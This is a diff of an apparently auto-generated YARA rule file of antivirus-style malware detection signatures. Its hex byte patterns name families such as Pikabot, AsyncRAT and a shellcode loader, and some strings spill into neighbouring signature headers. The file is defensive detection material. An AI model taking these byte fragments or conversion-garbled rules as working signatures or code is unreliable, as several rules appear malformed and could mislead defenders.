-134606,7 +143640,7 @@ rule _InfrastructureShared_12124{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*18533+(#a_49_2 & 1)*19770+(#a_34_3 & 1)*17717+(#a_61_4 & 1)*25665+(#a_69_5 & 1)*28277+(#a_66_6 & 1)*29816) >=7 } -rule _InfrastructureShared_12125{ +rule _InfrastructureShared_12924{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -134620,7 +143654,7 @@ rule _InfrastructureShared_12125{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*28009+(#a_61_2 & 1)*21351+(#a_75_3 & 1)*24391+(#a_66_4 & 1)*20340) >=7 } -rule _InfrastructureShared_12126{ +rule _InfrastructureShared_12925{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 06 00 21 " @@ -134634,7 +143668,7 @@ rule _InfrastructureShared_12126{ ((#a_77_0 & 1)*16675+(#a_61_1 & 1)*19566+(#a_20_2 & 1)*16720+(#a_69_4 & 1)*17409+(#a_01_5 & 1)*24946) >=8 } -rule _InfrastructureShared_12127{ +rule _InfrastructureShared_12926{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 07 00 21 " @@ -134650,7 +143684,7 @@ rule _InfrastructureShared_12127{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*29285+(#a_73_2 & 1)*21620+(#a_46_3 & 1)*-32502+(#a_6c_4 & 1)*31345+(#a_6f_5 & 1)*385+(#a_71_6 & 1)*29287) >=8 } -rule _InfrastructureShared_12128{ +rule _InfrastructureShared_12927{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -134667,7 +143701,7 @@ rule _InfrastructureShared_12128{ ((#a_54_0 & 1)*18467+(#a_40_1 & 1)*-32502+(#a_4d_2 & 1)*16751+(#a_54_3 & 1)*-32505+(#a_32_4 & 1)*28265+(#a_01_6 & 1)*2048+(#a_28_7 & 1)*400+(#a_28_8 & 1)*4359) >=9 } -rule _InfrastructureShared_12129{ +rule _InfrastructureShared_12928{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -134684,7 +143718,7 @@ rule _InfrastructureShared_12129{ ((#a_54_0 & 1)*18467+(#a_38_1 & 1)*22273+(#a_6c_2 & 1)*30825+(#a_04_3 & 1)*-28632+(#a_0b_4 & 1)*400+(#a_6f_5 & 1)*2317+(#a_13_7 & 1)*14336+(#a_04_8 & 1)*-28632) >=9 } -rule _InfrastructureShared_12130{ +rule _InfrastructureShared_12929{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 02 00 21 " @@ -134695,7 +143729,7 @@ rule _InfrastructureShared_12130{ ((#a_54_0 & 1)*18467+(#a_08_1 & 1)*3542) >=10 } -rule _InfrastructureShared_12131{ +rule _InfrastructureShared_12930{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 05 00 21 " @@ -134709,7 +143743,7 @@ rule _InfrastructureShared_12131{ ((#a_46_0 & 1)*16675+(#a_6c_1 & 1)*17966+(#a_62_2 & 1)*18223+(#a_62_3 & 1)*18271+(#a_04_4 & 1)*-28561) >=10 } -rule _InfrastructureShared_12132{ +rule _InfrastructureShared_12931{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 04 00 21 " @@ -134721,7 +143755,7 @@ rule _InfrastructureShared_12132{ ((#a_77_0 & 1)*16675+(#a_67_2 & 1)*6912+(#a_2e_3 & 1)*28515) >=11 } -rule _InfrastructureShared_12133{ +rule _InfrastructureShared_12932{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 03 00 21 " @@ -134733,7 +143767,7 @@ rule _InfrastructureShared_12133{ ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*1031+(#a_4f_2 & 1)*24940) >=12 } -rule _InfrastructureShared_12134{ +rule _InfrastructureShared_12933{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 03 00 21 " @@ -134745,7 +143779,7 @@ rule _InfrastructureShared_12134{ ((#a_54_0 & 1)*18467+(#a_70_1 & 1)*400+(#a_16_2 & 1)*9476) >=12 } -rule _InfrastructureShared_12135{ +rule _InfrastructureShared_12934{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 05 00 21 " @@ -134759,7 +143793,7 @@ rule _InfrastructureShared_12135{ ((#a_46_0 & 1)*16675+(#a_78_1 & 1)*8304+(#a_61_2 & 1)*29541+(#a_6f_3 & 1)*384+(#a_00_4 & 1)*21581) >=12 } -rule _InfrastructureShared_12136{ +rule _InfrastructureShared_12935{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 04 00 21 " @@ -134772,7 +143806,7 @@ rule _InfrastructureShared_12136{ ((#a_54_0 & 1)*18467+(#a_7b_1 & 1)*5419+(#a_90_2 & 1)*2577+(#a_6c_3 & 1)*30575) >=13 } -rule _InfrastructureShared_12137{ +rule _InfrastructureShared_12936{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 05 00 21 " @@ -134785,7 +143819,7 @@ rule _InfrastructureShared_12137{ ((#a_46_0 & 1)*16675+(#a_04_1 & 1)*2304+(#a_79_2 & 1)*25445+(#a_0a_3 & 1)*-512) >=14 } -rule _InfrastructureShared_12138{ +rule _InfrastructureShared_12937{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 0b 00 21 " @@ -134804,7 +143838,7 @@ rule _InfrastructureShared_12138{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*10+(#a_80_3 & 1)*1+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1+(#a_00_6 & 1)*1+(#a_00_7 & 1)*1+(#a_ae_8 & 1)*0+(#a_61_9 & 1)*29251+(#a_13_10 & 1)*1801) >=14 } -rule _InfrastructureShared_12139{ +rule _InfrastructureShared_12938{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 06 00 21 " @@ -134819,7 +143853,7 @@ rule _InfrastructureShared_12139{ ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*769+(#a_36_2 & 1)*29537+(#a_2e_3 & 1)*27763+(#a_74_4 & 1)*18177+(#a_0a_5 & 1)*400) >=15 } -rule _InfrastructureShared_12140{ +rule _InfrastructureShared_12939{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 07 00 21 " @@ -134833,7 +143867,7 @@ rule _InfrastructureShared_12140{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*25963+(#a_00_4 & 1)*28+(#a_6e_5 & 1)*26433+(#a_65_6 & 1)*31060) >=15 } -rule _InfrastructureShared_12141{ +rule _InfrastructureShared_12940{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1c 00 14 00 06 00 21 " @@ -134847,7 +143881,7 @@ rule _InfrastructureShared_12141{ ((#a_46_0 & 1)*16675+(#a_05_1 & 1)*-26090+(#a_01_3 & 1)*4096+(#a_65_4 & 1)*17+(#a_53_5 & 1)*-30463) >=20 } -rule _InfrastructureShared_12142{ +rule _InfrastructureShared_12941{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1f 00 1f 00 05 00 21 " @@ -134861,7 +143895,7 @@ rule _InfrastructureShared_12142{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*25972+(#a_00_2 & 1)*1+(#a_46_3 & 1)*16675+(#a_10_4 & 1)*-28671) >=31 } -rule _InfrastructureShared_12143{ +rule _InfrastructureShared_12942{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -134871,7 +143905,7 @@ rule _InfrastructureShared_12143{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_12144{ +rule _InfrastructureShared_12943{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -134881,7 +143915,7 @@ rule _InfrastructureShared_12144{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_12145{ +rule _InfrastructureShared_12944{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -134891,7 +143925,7 @@ rule _InfrastructureShared_12145{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_12146{ +rule _InfrastructureShared_12945{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -134901,7 +143935,7 @@ rule _InfrastructureShared_12146{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_12147{ +rule _InfrastructureShared_12946{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -134911,7 +143945,7 @@ rule _InfrastructureShared_12147{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_12148{ +rule _InfrastructureShared_12947{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -134921,7 +143955,7 @@ rule _InfrastructureShared_12148{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_12149{ +rule _InfrastructureShared_12948{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -134931,7 +143965,7 @@ rule _InfrastructureShared_12149{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_12150{ +rule _InfrastructureShared_12949{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -134941,7 +143975,7 @@ rule _InfrastructureShared_12150{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_12151{ +rule _InfrastructureShared_12950{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -134951,7 +143985,18 @@ rule _InfrastructureShared_12151{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_12152{ +rule _InfrastructureShared_12951{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " + + strings : + $a_46_0 = {57 69 6e 33 32 2f 53 61 74 61 63 6f 6d 2e 41 00 01 00 48 03 41 83 c8 ff 45 33 c9 4c 8b d1 48 85 d2 74 31 43 0f b6 04 0a b9 08 00 00 00 c1 e0 18 44 33 c0 43 8d 04 00 45 85 c0 44 8b c0 79 07 41 81 f0 90 01 04 48 83 e9 01 75 e7 49 } //21283 + $a_3b_1 = {72 cf 41 f7 d0 41 8b c0 c3 90 00 01 00 41 03 41 83 c8 ff 45 33 c9 48 85 d2 74 2d 42 0f b6 04 09 c1 e0 18 44 33 c0 b8 08 00 00 00 45 85 c0 79 07 41 81 f0 90 01 04 45 03 c0 48 83 e8 01 75 eb 49 ff c1 4c 3b ca 72 d3 41 f7 d0 41 8b } //-15873 + condition: + ((#a_46_0 & 1)*21283+(#a_3b_1 & 1)*-15873) >=1 + +} +rule _InfrastructureShared_12952{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -134962,7 +144007,7 @@ rule _InfrastructureShared_12152{ ((#a_46_0 & 1)*21283+(#a_02_1 & 1)*656) >=1 } -rule _InfrastructureShared_12153{ +rule _InfrastructureShared_12953{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -134974,7 +144019,7 @@ rule _InfrastructureShared_12153{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*14180+(#a_39_2 & 1)*26157) >=1 } -rule _InfrastructureShared_12154{ +rule _InfrastructureShared_12954{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " @@ -134986,7 +144031,7 @@ rule _InfrastructureShared_12154{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*112+(#a_00_3 & 1)*63) >=1 } -rule _InfrastructureShared_12155{ +rule _InfrastructureShared_12955{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " @@ -134999,7 +144044,7 @@ rule _InfrastructureShared_12155{ ((#a_54_0 & 1)*18467+(#a_02_1 & 1)*-28544+(#a_8b_2 & 1)*768+(#a_9d_3 & 1)*13367) >=1 } -rule _InfrastructureShared_12156{ +rule _InfrastructureShared_12956{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 06 00 21 " @@ -135014,7 +144059,7 @@ rule _InfrastructureShared_12156{ ((#a_46_0 & 1)*16675+(#a_6d_1 & 1)*-7364+(#a_00_2 & 1)*108+(#a_63_3 & 1)*30054+(#a_74_4 & 1)*25923+(#a_00_5 & 1)*400) >=1 } -rule _InfrastructureShared_12157{ +rule _InfrastructureShared_12957{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -135025,7 +144070,7 @@ rule _InfrastructureShared_12157{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*110) >=2 } -rule _InfrastructureShared_12158{ +rule _InfrastructureShared_12958{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -135036,7 +144081,7 @@ rule _InfrastructureShared_12158{ ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*28192) >=2 } -rule _InfrastructureShared_12159{ +rule _InfrastructureShared_12959{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -135047,7 +144092,7 @@ rule _InfrastructureShared_12159{ ((#a_54_0 & 1)*18467+(#a_09_1 & 1)*5914) >=2 } -rule _InfrastructureShared_12160{ +rule _InfrastructureShared_12960{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -135058,7 +144103,7 @@ rule _InfrastructureShared_12160{ ((#a_54_0 & 1)*18467+(#a_09_1 & 1)*5897) >=2 } -rule _InfrastructureShared_12161{ +rule _InfrastructureShared_12961{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -135069,7 +144114,7 @@ rule _InfrastructureShared_12161{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*4358) >=2 } -rule _InfrastructureShared_12162{ +rule _InfrastructureShared_12962{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -135080,7 +144125,7 @@ rule _InfrastructureShared_12162{ ((#a_54_0 & 1)*18467+(#a_59_1 & 1)*4449) >=2 } -rule _InfrastructureShared_12163{ +rule _InfrastructureShared_12963{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -135091,7 +144136,7 @@ rule _InfrastructureShared_12163{ ((#a_54_0 & 1)*18467+(#a_11_1 & 1)*4365) >=2 } -rule _InfrastructureShared_12164{ +rule _InfrastructureShared_12964{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -135102,7 +144147,7 @@ rule _InfrastructureShared_12164{ ((#a_46_0 & 1)*21283+(#a_d2_1 & 1)*-14593) >=2 } -rule _InfrastructureShared_12165{ +rule _InfrastructureShared_12965{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -135114,7 +144159,7 @@ rule _InfrastructureShared_12165{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*108+(#a_6e_2 & 1)*22330) >=2 } -rule _InfrastructureShared_12166{ +rule _InfrastructureShared_12966{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -135126,7 +144171,7 @@ rule _InfrastructureShared_12166{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*10241+(#a_13_2 & 1)*2067) >=2 } -rule _InfrastructureShared_12167{ +rule _InfrastructureShared_12967{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -135137,19 +144182,29 @@ rule _InfrastructureShared_12167{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*45) >=2 } -rule _InfrastructureShared_12168{ +rule _InfrastructureShared_12968{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 50 69 6b 61 62 6f 74 2e 45 46 21 4d 54 42 00 01 00 15 01 03 c7 03 c8 0f b6 f9 8a 84 3d 34 fd ff ff 88 84 35 34 fd ff ff 01 00 1f 01 55 8b ec 83 ec 0c 33 c0 c7 45 f4 05 00 00 00 c7 45 f8 32 00 00 00 8b d0 c7 } //18467 - $a_ff_1 = {ff 01 00 20 01 8d 5d e8 59 33 d2 c7 45 f8 04 00 00 00 8a 03 8d 0c 16 43 88 04 39 83 6d f8 01 8d 52 04 75 ee 46 01 00 20 01 55 8b ec 51 51 53 56 89 55 f8 89 4d fc 8b 75 fc 8b 45 f8 33 c9 0f a2 89 06 89 5e 04 89 4e 08 89 00 00 78 af 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 46 61 6b 65 53 73 6c 65 61 79 2e 41 00 02 00 06 01 73 73 6c 65 61 79 01 00 53 02 42 49 4f 5f 66 5f 73 73 6c 00 90 02 10 2e 42 49 4f 5f 66 5f 73 73 6c 00 42 49 4f 5f 6e 65 77 5f 62 75 66 66 65 72 5f 73 73 6c 5f 63 6f 6e 6e 65 63 74 00 90 02 10 2e 42 49 4f 5f 6e 65 77 5f 62 75 66 66 65 72 5f } //-955 - $a_5f_2 = {6f 6e 6e 65 63 74 90 00 f6 ff 22 01 53 73 6c 65 61 79 2d 57 69 6e 33 32 20 50 72 6f 78 79 20 44 4c 4c 20 73 69 67 6e 69 6e 67 20 6f 66 66 00 00 78 af 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 55 7a 65 72 61 64 2e 43 00 01 00 19 02 41 b8 03 00 00 00 c7 44 24 20 01 00 00 00 48 8d 90 01 05 33 c9 ff 15 90 } //29555 + $a_ff_1 = {ff 01 00 20 01 8d 5d e8 59 33 d2 c7 45 f8 04 00 00 00 8a 03 8d 0c 16 43 88 04 39 83 6d f8 01 8d 52 04 75 ee 46 01 00 20 01 55 8b ec 51 51 53 56 89 55 f8 89 4d fc 8b 75 fc 8b 45 f8 33 c9 0f a2 89 06 89 5e 04 89 4e 08 89 00 00 78 af 00 00 03 00 03 00 01 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 53 68 65 6c 6c 43 6f 64 65 4c 6f 61 64 65 72 2e 50 43 4a 21 4d 54 42 00 03 00 78 03 0c 1a 8d 19 00 00 01 0d 07 6f 90 01 01 00 00 0a 6d 1a 5c 20 00 01 00 00 59 13 04 02 11 04 28 90 01 01 00 00 06 13 05 16 13 06 2b 37 00 07 09 16 1a 6f 90 01 01 00 00 0a 1a fe 01 13 0a 11 0a 2d 08 16 13 09 dd } //-955 + $a_90_3 = {01 00 00 0a 13 07 08 11 07 11 06 d2 6f 90 01 01 00 00 0a 00 00 11 06 17 58 13 06 11 06 20 00 01 00 00 fe 04 13 0a 11 0a } //5641 condition: - ((#a_54_0 & 1)*18467+(#a_ff_1 & 1)*-955+(#a_5f_2 & 1)*29555) >=2 + ((#a_54_0 & 1)*18467+(#a_ff_1 & 1)*-955+(#a_90_3 & 1)*5641) >=2 } -rule _InfrastructureShared_12169{ +rule _InfrastructureShared_12969{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 01 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 53 68 65 6c 6c 43 6f 64 65 4c 6f 61 64 65 72 2e 50 43 4a 21 4d 54 42 00 03 00 78 03 0c 1a 8d 19 00 00 01 0d 07 6f 90 01 01 00 00 0a 6d 1a 5c 20 00 01 00 00 59 13 04 02 11 04 28 90 01 01 00 00 06 13 05 16 13 06 } //18467 + condition: + ((#a_54_0 & 1)*18467) >=3 + +} +rule _InfrastructureShared_12970{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -135161,7 +144216,7 @@ rule _InfrastructureShared_12169{ ((#a_46_0 & 1)*16675+(#a_73_1 & 1)*29285+(#a_3a_2 & 1)*21587) >=3 } -rule _InfrastructureShared_12170{ +rule _InfrastructureShared_12971{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -135172,7 +144227,7 @@ rule _InfrastructureShared_12170{ ((#a_54_0 & 1)*18467+(#a_15_1 & 1)*0) >=3 } -rule _InfrastructureShared_12171{ +rule _InfrastructureShared_12972{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -135184,7 +144239,7 @@ rule _InfrastructureShared_12171{ ((#a_46_0 & 1)*21283+(#a_78_1 & 1)*20791+(#a_72_2 & 1)*26957) >=3 } -rule _InfrastructureShared_12172{ +rule _InfrastructureShared_12973{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -135197,7 +144252,7 @@ rule _InfrastructureShared_12172{ ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*29998+(#a_6e_2 & 1)*26996+(#a_c6_3 & 1)*-6075) >=3 } -rule _InfrastructureShared_12173{ +rule _InfrastructureShared_12974{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -135209,7 +144264,7 @@ rule _InfrastructureShared_12173{ ((#a_46_0 & 1)*16675+(#a_30_1 & 1)*11585+(#a_23_2 & 1)*4) >=3 } -rule _InfrastructureShared_12174{ +rule _InfrastructureShared_12975{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -135221,20 +144276,31 @@ rule _InfrastructureShared_12174{ ((#a_46_0 & 1)*16675+(#a_8d_2 & 1)*0+(#a_4b_3 & 1)*30066) >=3 } -rule _InfrastructureShared_12175{ +rule _InfrastructureShared_12976{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " strings : $a_6c_0 = {77 4c 69 73 74 3a 48 53 54 52 3a 57 69 6e 33 32 2f 4d 63 61 66 65 65 54 72 75 65 4b 65 79 2e 41 00 01 00 29 01 4d 63 61 66 65 65 2e 54 72 75 65 4b 65 79 2e 49 6e 73 74 61 6c 6c 65 72 2e 4c 69 62 72 61 72 79 2e 53 65 63 75 72 69 74 79 01 00 13 01 4d 63 41 66 65 65 2e 59 41 50 2e 53 65 63 75 72 69 74 79 01 00 10 01 53 6f 66 } //16675 - $a_72_1 = {5c 54 72 75 65 4b 65 79 01 00 24 01 52 65 6c 65 61 73 65 5c 4d 63 61 66 65 65 2e 54 72 75 65 4b 65 79 2e 49 6e 73 74 61 6c 6c 65 72 2e 70 64 62 00 00 78 af 00 00 04 00 04 00 04 00 21 23 41 6c 6c 6f 77 4c 69 73 74 3a 4c 65 78 69 73 4e 65 78 69 73 00 01 00 26 81 01 5c 6f 62 6a 5c 44 65 62 75 } //30580 - $a_65_2 = {69 73 4e 65 78 69 73 2e 56 69 73 75 61 6c 66 69 6c 65 73 2e 57 6f 72 64 01 00 2b 81 01 4c 65 78 69 73 4e 65 78 69 73 2e 56 69 73 75 61 6c 66 69 6c 65 73 2e 57 6f 72 64 2e 41 64 64 69 6e 49 6e 74 65 72 66 61 63 65 73 01 00 0d 81 } //23655 - $a_78_3 = {73 4e 65 78 69 73 20 55 4b 01 00 1e 81 01 56 69 73 75 61 6c 66 69 6c 65 73 20 57 6f 72 64 20 48 61 6e 64 6c 65 72 20 41 64 64 69 6e 00 00 78 af 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 45 58 21 4d 54 42 00 01 00 26 01 57 69 6e 64 6f 77 73 46 6f 72 6d } //19457 + $a_72_1 = {5c 54 72 75 65 4b 65 79 01 00 24 01 52 65 6c 65 61 73 65 5c 4d 63 61 66 65 65 2e 54 72 75 65 4b 65 79 2e 49 6e 73 74 61 6c 6c 65 72 2e 70 64 62 00 00 78 af 00 00 04 00 04 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 73 79 6e 63 52 41 54 2e 42 41 56 49 21 4d 54 42 00 02 } //30580 + $a_06_2 = {74 7b 00 } //11008 + $a_07_3 = {6c 23 00 00 00 00 00 } //6912 condition: - ((#a_6c_0 & 1)*16675+(#a_72_1 & 1)*30580+(#a_65_2 & 1)*23655+(#a_78_3 & 1)*19457) >=3 + ((#a_6c_0 & 1)*16675+(#a_72_1 & 1)*30580+(#a_06_2 & 1)*11008+(#a_07_3 & 1)*6912) >=3 } -rule _InfrastructureShared_12176{ +rule _InfrastructureShared_12977{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 73 79 6e 63 52 41 54 2e 42 41 56 49 21 4d 54 42 00 02 00 2b 03 06 74 7b 00 00 1b 07 07 6c 23 00 00 00 00 00 00 e0 3f 28 90 01 01 01 00 0a 07 6c 28 90 01 01 03 00 0a 5a } //21539 + $a_1a_1 = {a6 90 00 02 00 50 03 03 02 09 16 6f 90 01 01 00 00 0a 13 } //5793 + condition: + ((#a_4c_0 & 1)*21539+(#a_1a_1 & 1)*5793) >=4 + +} +rule _InfrastructureShared_12978{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -135247,7 +144313,7 @@ rule _InfrastructureShared_12176{ ((#a_6c_0 & 1)*16675+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_af_3 & 1)*0) >=4 } -rule _InfrastructureShared_12177{ +rule _InfrastructureShared_12979{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -135260,7 +144326,7 @@ rule _InfrastructureShared_12177{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*12660+(#a_01_2 & 1)*1+(#a_af_3 & 1)*0) >=4 } -rule _InfrastructureShared_12178{ +rule _InfrastructureShared_12980{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -135273,7 +144339,7 @@ rule _InfrastructureShared_12178{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*29301+(#a_4c_2 & 1)*21325+(#a_35_3 & 1)*293) >=4 } -rule _InfrastructureShared_12179{ +rule _InfrastructureShared_12981{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -135285,7 +144351,7 @@ rule _InfrastructureShared_12179{ ((#a_54_0 & 1)*18467+(#a_37_2 & 1)*13604+(#a_65_3 & 1)*11891) >=4 } -rule _InfrastructureShared_12180{ +rule _InfrastructureShared_12982{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -135298,7 +144364,7 @@ rule _InfrastructureShared_12180{ ((#a_54_0 & 1)*18467+(#a_36_1 & 1)*-32476+(#a_63_2 & 1)*13625+(#a_4b_3 & 1)*29285) >=4 } -rule _InfrastructureShared_12181{ +rule _InfrastructureShared_12983{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -135311,7 +144377,7 @@ rule _InfrastructureShared_12181{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*29285+(#a_2f_2 & 1)*13934+(#a_65_3 & 1)*26994) >=4 } -rule _InfrastructureShared_12182{ +rule _InfrastructureShared_12984{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -135322,7 +144388,7 @@ rule _InfrastructureShared_12182{ ((#a_4c_0 & 1)*21539+(#a_6e_1 & 1)*29285) >=4 } -rule _InfrastructureShared_12183{ +rule _InfrastructureShared_12985{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -135335,20 +144401,32 @@ rule _InfrastructureShared_12183{ ((#a_4c_0 & 1)*21539+(#a_89_1 & 1)*1281+(#a_8b_2 & 1)*769+(#a_00_3 & 1)*100) >=4 } -rule _InfrastructureShared_12184{ +rule _InfrastructureShared_12986{ meta: description = 